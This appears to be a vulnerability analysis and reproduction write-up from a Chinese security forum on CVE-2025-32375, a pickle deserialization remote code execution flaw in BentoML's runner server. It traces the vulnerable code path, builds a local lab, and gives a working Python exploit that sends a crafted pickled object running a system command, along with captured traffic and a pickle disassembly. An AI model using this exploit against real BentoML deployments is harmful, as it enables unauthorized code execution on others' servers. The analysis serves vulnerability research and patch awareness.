问答
发起
提问
文章
攻防
活动
Toggle navigation
首页
(current)
问答
商城
实战攻防技术
漏洞分析与复现
NEW
活动
摸鱼办
搜索
登录
注册
CVE-2025-32375 | BentoML runner服务器远程代码执行漏洞
漏洞分析
BentoML 的 runner 服务器中存在不安全的反序列化,攻击者可以通过在 POST 请求中设置特定的标头和参数,可以在服务器上执行任何未经授权的任意代码,这将授予攻击者在服务器上进行初始访问和信息泄露的权限。
一、漏洞简介 ====== BentoML 是一个开源的机器学习模型服务化平台,旨在简化机器学习模型的部署和管理。通过提供一个统一的框架,BentoML 允许数据科学家和开发者快速将训练好的模型打包成可在生产环境中运行的API服务。它支持多种流行的机器学习框架,如 TensorFlow、PyTorch 和 Scikit-learn,并提供了灵活的模型版本管理、自动化的容器化部署以及与云服务的无缝集成。BentoML 使得机器学习模型的生产化变得更加高效和可控,帮助团队加速从实验到实际应用的转变。该漏洞是BentoML 的 runner 服务器中存在不安全的反序列化,攻击者可以通过在 POST 请求中设置特定的标头和参数,可以在服务器上执行任何未经授权的任意代码,这将授予攻击者在服务器上进行初始访问和信息泄露的权限。 二、影响版本 ====== 影响范围:BentoML <= 1.4.7 三、漏洞原理分析 ======== BentoML runner 服务器处理请求时,当请求头中 args-number 的值等于 1 时,会调用下面的函数`_request_handler`(从 291 行开始): (src/bentoml/\_internal/server/runner\_app.py)  这个函数是个 API 请求处理函数。流程本质上是: - 读取请求头和体 - 反序列化参数 - 调用 infer 逻辑 - 根据返回类型生成 Response 定位到 298 行的`_deserialize_single_param` 函数,在同样文件的 376 行:  这个函数会获取所有请求头中的值,并将请求体(字节流 )和这些信息封装成一个 Params 对象。 1. 从 HTTP 请求头里拿出元信息(Meta、Batch-Size、Container、Kwarg-Name)。 2. 用请求体(字节流)和头信息构造一个 `Payload` 对象。 3. 再用 Payload 生成一个 `Params` 对象。 再回到 `_request_handler` 中,构造好的 Params 对象 经过 `_deserialize_single_param()` 或 `pickle.loads()` \*\*\*\*处理后被 infer 函数调用:  定位到 infer 函数,还是这个文件的 278 行开始:  这里对 `params` 做了一次 map():把每个参数都用 `AutoContainer.from_payload` 函数解封装。也就是说:请求最初发的是 Payload,传进来是 Params\[Payload\]。这里用 `.map()` 把每个 Payload 对象还原成模型真正需要的对象(比如 numpy数组、Pandas dataframe、Tensor 等)。 infer 函数的处理流程: ```python Params (封装的HTTP参数) ➜ .map(AutoContainer.from_payload) // 把 Payload 解封装成 numpy/tensor 等 ➜ runner_method.async_run() // 真正模型/函数调用 ➜ AutoContainer.to_payload() // 把返回值再次封装成 Payload 对象 ``` 本质: - 输入:HTTP 请求参数(Params ➜ Payload) - 输出:HTTP 返回Payload - 中间:模型/函数执行 (`runner_method.async_run()`) 重点是 map 函数。 定位到 map 函数,src/bentoml/\_internal/runner/utils.py,59 行开始:  map 把传入的函数 `function()`,应用到所有参数(包括 `args` 和 `kwargs`)上面,对 `Params` 里的所有参数统一套一个函数进行批处理。 再回到 infer 函数中的 map 那一行,先是做了一个 from\_payload 处理,定位到这个函数, src/bentoml/\_internal/runner/container.py,710 行开始:  payload.container 其实是 HTTP 请求头里 Payload-Container 的值。然后调用具体容器类来进行还原。 `DataContainerRegistry.find_by_name()` 去注册表里查,返回对应的解码类。 总结这个函数: - 查注册表 ➜ 找到解码类 - 调用解码类 ➜ 把 Payload 还原成真实 Python 对象(如 numpy array、torch tensor) 如果攻击者将 header 的值设置为 Payload-Container 或 NdarrayContainer 或 PandasDataFrameContainer,它将调用 from\_payload,然后检查它是否`payload.meta["format"] == "default"`,将会调用 `pickle.loads(payload.data)` ,并且`payload.meta["format"]`是 header 中 `Payload-Meta` 的值,攻击者可以将其设置为 `{"format": "default"}` ,并且 `payload.data` 是请求体中的值,这将触发方法 `__reduce__`,然后执行任意命令。 `from_payload()` 的 pandas 类型的真实还原逻辑:  `from_payload()` 的 numpy 类型的真实还原逻辑:  四、环境搭建 ====== 版本要求: - python 3.7 - 3.10,不支持 3.12 - BentoML 1.4.7 (BentoML 在 1.x 系列和 0.x 差别很大,从 BentoML 1.0.0 开始,最低支持的是 Python 3.7。) windows本机的 python 是 3.10 版本的,所以直接在 windows 的本机搭建环境,攻击机和靶机都是 windows 本机,ip 地址是 192.168.119.1。 1. 安装 BentoML 1.4.7 ------------------- 下载 1.4.7 版本的 zip文件:<https://github.com/bentoml/BentoML/releases/tag/v1.4.7> 下载到本地后,解压,进入该目录中,在 cmd 中执行命令:`pip install .` 出现 Successful build 就算是安装成功了:  2. 创建模型 ------- 创建一个 [model.py](http://model.py) 文件,代码如下: ```python import bentoml import numpy as np class mymodel: def predict(self, info): return np.abs(info) def __call__(self, info): return self.predict(info) model = mymodel() bentoml.picklable_model.save_model("mymodel", model) ``` 这段代码的功能是:将一个自定义的 Python 模型对象 mymodel 保存为 BentoML 可部署格式的模型文件,用于后续的部署、调用或服务化。 执行以下命令保存这个模型:`python model.py`  BentoMLDeprecationWarning 是一个警告并不是真正的错误。这个警告的意思是 `bentoml.picklable_model` 这个方法已经在 BentoML 1.4 版本中被弃用了,并且在未来的版本中将被移除。不用管这个警告就可以。 3. 构建模型 ------- 创建文件 bentofile.yaml ,用来构建前面保存的模型,这个文件的代码如下: ```yaml service: "service.py" description: "A model serving service with BentoML" python: packages: - bentoml - numpy models: - tag: MyModel:latest include: - "*.py" ``` 4. 托管模型 ------- 创建文件 [service.py](http://service.py) ,用来托管前面保存的模型,这个文件的代码如下: ```python import bentoml from bentoml.io import NumpyNdarray import numpy as np model_runner = bentoml.picklable_model.get("mymodel:latest").to_runner() svc = bentoml.Service("myservice", runners=[model_runner]) async def predict(input_data: np.ndarray): input_columns = np.split(input_data, input_data.shape[1], axis=1) result_generator = model_runner.async_run(input_columns, is_stream=True) async for result in result_generator: yield result ``` 分别执行下面的命令,来构建和托管这个模型: ```bash bentoml build bentoml start-runner-server --runner-name mymodel --working-dir . --host 192.168.119.1 --port 5555 ``` 以下是执行这两条命令的注意问题: 1. 执行构建命令 `bentoml build` 时,还是会遇到上面的警告,也是不用管就可以。出现 Successfully built Bento 时,就是构建成功了。  2. 执行托管命令 `bentoml start-runner-server --runner-name mymodel --working-dir . --host 192.168.119.1 --port 5555` 时: 1. 修改 host 参数和 port 参数的值:我搭建在本机 windows 上,直接写了本机的 IP 地址,端口选择一个还没有被占用的就可以。 2. 执行完同样会出现一些 BentoMLDeprecationWarning ,不用管就好了。在命令刚执行后的几行中,有个 `INFO: Starting RunnerServer from "." running on <http://192.168.119.1:5555> (Press CTRL+C to quit)` ,出现这个就算是成功了。最后光标会停在那里一直闪烁,因为启动的是一个 runner 服务器,会持续监听指定的 ip 和端口,一直运行在前台,直到我们手动停止例如 ctrl + c 。  不放心的话,可以在浏览器中访问 <http://192.168.119.1:5555>,如果返回下面的页面或者404就算是成功了:  五、漏洞复现 ====== 创建文件 [exp.py](http://exp.py),exp脚本我在原作者的基础上进行了改动,因为我没有 webhook 服务器,所以执行命令弹出计算器,代码如下: ```python import requests import pickle url = "<http://192.168.119.1:5555/>" headers = { "args-number": "1", "Content-Type": "application/vnd.bentoml.pickled", "Payload-Container": "NdarrayContainer", "Payload-Meta": '{"format": "default"}', "Batch-Size": "-1", } class P: def __reduce__(self): return (__import__('os').system, ("calc.exe",)) response = requests.post(url, headers=headers, data=pickle.dumps(P())) print(response) ``` 使用这个脚本的注意事项: 1. 不要忘记修改url,修改为前面托管模型时执行的命令中,host 和 port 的参数值。 2. 不想弹出计算器,也可以将执行命令的结果写入一个文件中,只要确保路径存在即可,例如:`return (**import**('os').system, ("whoami > F:\\\\Download\\\\BentoML-1.4.7\\\\rce_result.txt",))` 3. 执行 [exp.py](http://exp.py) 时,要另起一个 cmd,之前的 cmd 在监听端口,不能中断服务。 执行结果,弹出计算器就算成功了:  原作者还提到 Payload-Container 请求头的内容可以换成 PandasDataFrameContainer,也可以触发漏洞。 执行exp.py时,抓取了流量包: ```python POST / HTTP/1.1 Host: 192.168.119.1:5555 User-Agent: python-requests/2.32.3 Accept-Encoding: gzip, deflate Accept: */* Connection: keep-alive args-number: 1 Content-Type: application/vnd.bentoml.pickled Payload-Container: NdarrayContainer Payload-Meta: {"format": "default"} Batch-Size: -1 Content-Length: 43 ... .........nt...system.....calc.exe...R..HTTP/1.1 200 OK date: Fri, 11 Apr 2025 05:36:54 GMT server: uvicorn bento-payload-meta: {} content-type: application/vnd.bentoml.DefaultContainer server: BentoML-Runner/mymodel/__call__/9 content-length: 117 ...j.........numpy._core.multiarray...scalar.....numpy...dtype.....i8.....R.(K...<.NNNJ....J....K.t.bC............R.. ``` 请求体和响应体是一些乱码,需要自己查看二进制看真实的内容。 关于几个请求头: 1. Content-Type: application/vnd.bentoml.pickled:是一个自定义格式的请求类型: 1. `application/`:表示这是一个媒体类型(MIME type)。 2. `vnd.bentoml.`:`vnd` 表示这是一个厂商自定义类型,`bentoml` 是这个厂商的名字,表明这个格式是 BentoML 专属的。 3. `pickled`:意思是 请求体的数据经过了 Python 的 `pickle` 序列化。 2. Payload-Container: NdarrayContainer:也是一个自定义的请求头,用来告诉 BentoML 服务端下面请求体的内容类型是一个 Numpy 数组容器 1. `Payload-Container`:BentoML 自己定义的 header,用于说明 payload(请求体)要用哪个容器格式来反序列化。 2. `NdarrayContainer`:意思是这个请求体是一个用 pickle 或其他方式序列化的 Numpy ndarray 数据。 3. `PandasDataFrameContainer`:表示这个请求体是一个序列化后的 Pandas DataFrame(通常是用 pickle 或 json 格式序列化的)。 六、修复建议 ====== 更新到最新版 七、补充学习 ====== 因为请求体中的内容乱码了,又想知道请求体的内容是什么,可以执行下面的 [exp1.py](http://exp1.py): ```python import requests import pickle url = "<http://192.168.119.1:5555/>" headers = { "args-number": "1", "Content-Type": "application/vnd.bentoml.pickled", "Payload-Container": "NdarrayContainer", "Payload-Meta": '{"format": "default"}', "Batch-Size": "-1", } class P: def __reduce__(self): return (__import__('os').system, ("calc.exe",)) # 序列化数据 payload = pickle.dumps(P()) # 创建一个会话,便于抓取请求详细内容 with requests.Session() as s: request = requests.Request("POST", url, headers=headers, data=payload) prepared = s.prepare_request(request) # 打印请求包内容 print("====== 请求包 ======") print(f"{prepared.method} {prepared.url} HTTP/1.1") for k, v in prepared.headers.items(): print(f"{k}: {v}") print() print(payload) # 这里是二进制序列化后的内容 # 发送请求 response = s.send(prepared) # 打印响应包内容 print("\\n====== 响应包 ======") print(f"HTTP/{response.raw.version} {response.status_code} {response.reason}") for k, v in response.headers.items(): print(f"{k}: {v}") print() print(response.text) ``` 执行结果如下: 可以看到请求体中是使用 pickle 序列化后的 二进制数据:`b'\\x80\\x04\\x95 \\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x8c\\x02nt\\x94\\x8c\\x06system\\x94\\x93\\x94\\x8c\\x08calc.exe\\x94\\x85\\x94R\\x94.’` 用脚本来解一下: ```python import pickletools data = b'\\x80\\x04\\x95 \\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x8c\\x02nt\\x94\\x8c\\x06system\\x94\\x93\\x94\\x8c\\x08calc.exe\\x94\\x85\\x94R\\x94.' pickletools.dis(data) ``` 代码解释: pickletools.dis() 是 Python 提供的一个调试工具,用来反汇编(disassemble)pickle 序列,也就是把 pickle 的字节流翻译成人类能看懂的指令,一步步解释这个 pickle 是怎么构造的。 Pickle 是“二进制协议”不是明文结构: - 它不像 JSON / XML 那样是可读文本。 - 是 Python 内部用来序列化对象的数据格式,结构紧凑、字段省略,很多内容只有通过解释 opcode(指令码)才能知道含义。 这个脚本的执行结果: 执行结果的解释: ```python 0: \\x80 PROTO 4 2: \\x95 FRAME 32 11: \\x8c SHORT_BINUNICODE 'nt' 15: \\x94 MEMOIZE (as 0) 16: \\x8c SHORT_BINUNICODE 'system' 24: \\x94 MEMOIZE (as 1) 25: \\x93 STACK_GLOBAL 26: \\x94 MEMOIZE (as 2) 27: \\x8c SHORT_BINUNICODE 'calc.exe' 37: \\x94 MEMOIZE (as 3) 38: \\x85 TUPLE1 39: \\x94 MEMOIZE (as 4) 40: R REDUCE 41: \\x94 MEMOIZE (as 5) 42: . STOP highest protocol among opcodes = 4 ``` | 字节位置 | 指令 | |---|---| | `\\x80 PROTO 4` | 使用 Pickle 协议版本 4 | | `\\x95 FRAME 32` | 表明后续 32 字节是一个完整的数据帧 | | `\\x8c 'nt'` | 反序列化一个短字符串 `'nt'`(Windows 平台的内置模块) | | `\\x8c 'system'` | 反序列化 `'system'`(调用命令行命令的函数名) | | `\\x93 STACK_GLOBAL` | 相当于:`__import__('nt').system` | | `\\x8c 'calc.exe'` | 反序列化字符串 `'calc.exe'`,要执行的命令 | | `\\x85 TUPLE1` | 构造一个参数元组:`('calc.exe',)` | | `\\x52 REDUCE` | 执行:`nt.system('calc.exe')`(相当于 `__import__('nt').system('calc.exe')`) | | `\\x2e STOP` | 停止反序列化过程 | 为什么在 pickle 中看到 nt.system 而不是 os.system: 在 Python 中,`__import__('os')` 会返回操作系统相关的模块(在 Windows 上通常是 nt 模块)。具体来说: - 在 Windows 系统中,os 模块的实现是由 nt 模块提供的。因此,os 实际上是对 nt 模块的一个别名。 - 当你执行 `__import__('os').system` 时,os 模块会加载 nt 模块,返回的是 nt.system 函数。
发表于 2025-05-12 10:13:59
阅读 ( 351 )
分类:
Web服务器
0 推荐
收藏
0 条评论
请先
登录
后评论
reset
2 篇文章
×
发送私信
请先
登录
后发送私信
×
举报此文章
垃圾广告信息:
广告、推广、测试等内容
违规内容:
色情、暴力、血腥、敏感信息等内容
不友善内容:
人身攻击、挑衅辱骂、恶意行为
其他原因:
请补充说明
举报原因:
×
如果觉得我的文章对您有用,请随意打赏。你的支持将鼓励我继续创作!